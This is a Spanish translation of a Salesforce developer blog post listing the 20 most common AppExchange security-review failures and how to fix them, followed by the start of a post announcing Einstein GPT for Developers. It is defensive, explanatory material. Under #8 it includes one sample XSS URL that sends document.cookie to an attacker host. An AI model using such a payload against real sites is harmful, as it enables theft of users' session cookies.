Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de corazón con más de 25 años de experiencia en la creación de aplicaciones empresariales, habilitando audiencias técnicas y asesorando a organizaciones de TI.

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Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

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Einstein GPT para desarrolladores: ahora en versión piloto ☁️

Einstein GPT para desarrolladores: ahora en versión piloto ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Einstein GPT para desarrolladores: ahora en fase piloto | Blog de desarrolladores de Salesforce

La IA generativa es una tecnología transformadora que aumenta la productividad de los desarrolladores, acelera el desarrollo de aplicaciones de software y reduce la barrera para que cualquiera aprenda a programar. En el TrailblazerDX de este año, anunciamos Einstein GPT para desarrolladores , la solución de inteligencia artificial generativa de Salesforce que libera la productividad de los desarrolladores y les permite desarrollar Salesforce más rápido . Hoy, estamos encantados de anunciar que Einstein GPT para desarrolladores ahora está en piloto cerrado.

Creado específicamente para lenguajes y marcos de Salesforce, Einstein GPT para desarrolladores puede generar código Apex utilizando lenguaje natural. El soporte para LWC llegará pronto. Nuestro objetivo es que esté disponible en Beta abierta en Dreamforce 23 , para que todos puedan tener acceso a la herramienta. En este blog, exploraremos cómo comenzar con Einstein GPT para el desarrollo de Apex y cómo su potencial puede revolucionar su proceso de desarrollo.

Einstein GPT para desarrolladores frente a otras herramientas de codificación de IA

Las herramientas de codificación de IA generativa disponibles en la actualidad se entrenan principalmente en lenguajes públicos, como Java, Python y otros, así como en código disponible públicamente. Dado que los lenguajes específicos de Salesforce, como Apex y LWC, son propietarios, estas herramientas a menudo carecen de la capacitación necesaria para brindar recomendaciones precisas.

Además, las herramientas de codificación de IA son tan poderosas como el contexto que se les proporciona. Dado que estas herramientas de codificación públicas carecen del contexto de Salesforce de su organización, como los metadatos, las recomendaciones pueden ser inexactas o insuficientes para satisfacer sus necesidades. Por último, el uso de herramientas de inteligencia artificial disponibles públicamente expone su código privado más allá del límite de confianza de Salesforce y podría hacerlo público, una posible vulnerabilidad de seguridad.

Con Einstein GPT para desarrolladores, utilizamos CodeGen , nuestro propio modelo de código abierto para la síntesis de programas. Hospedamos CodeGen dentro del límite de confianza de Salesforce y lo hemos capacitado en lenguajes específicos de Salesforce como Apex y LWC. Con una base dinámica incorporada al proceso de generación de código, Einstein GPT enriquece sus recomendaciones utilizando sus metadatos y código. Nuestra capa de confianza de IA dentro de Einstein GPT garantiza que sus datos y código permanezcan seguros dentro de Salesforce y nunca se almacenen externamente.

Comience con Einstein GPT para desarrolladores

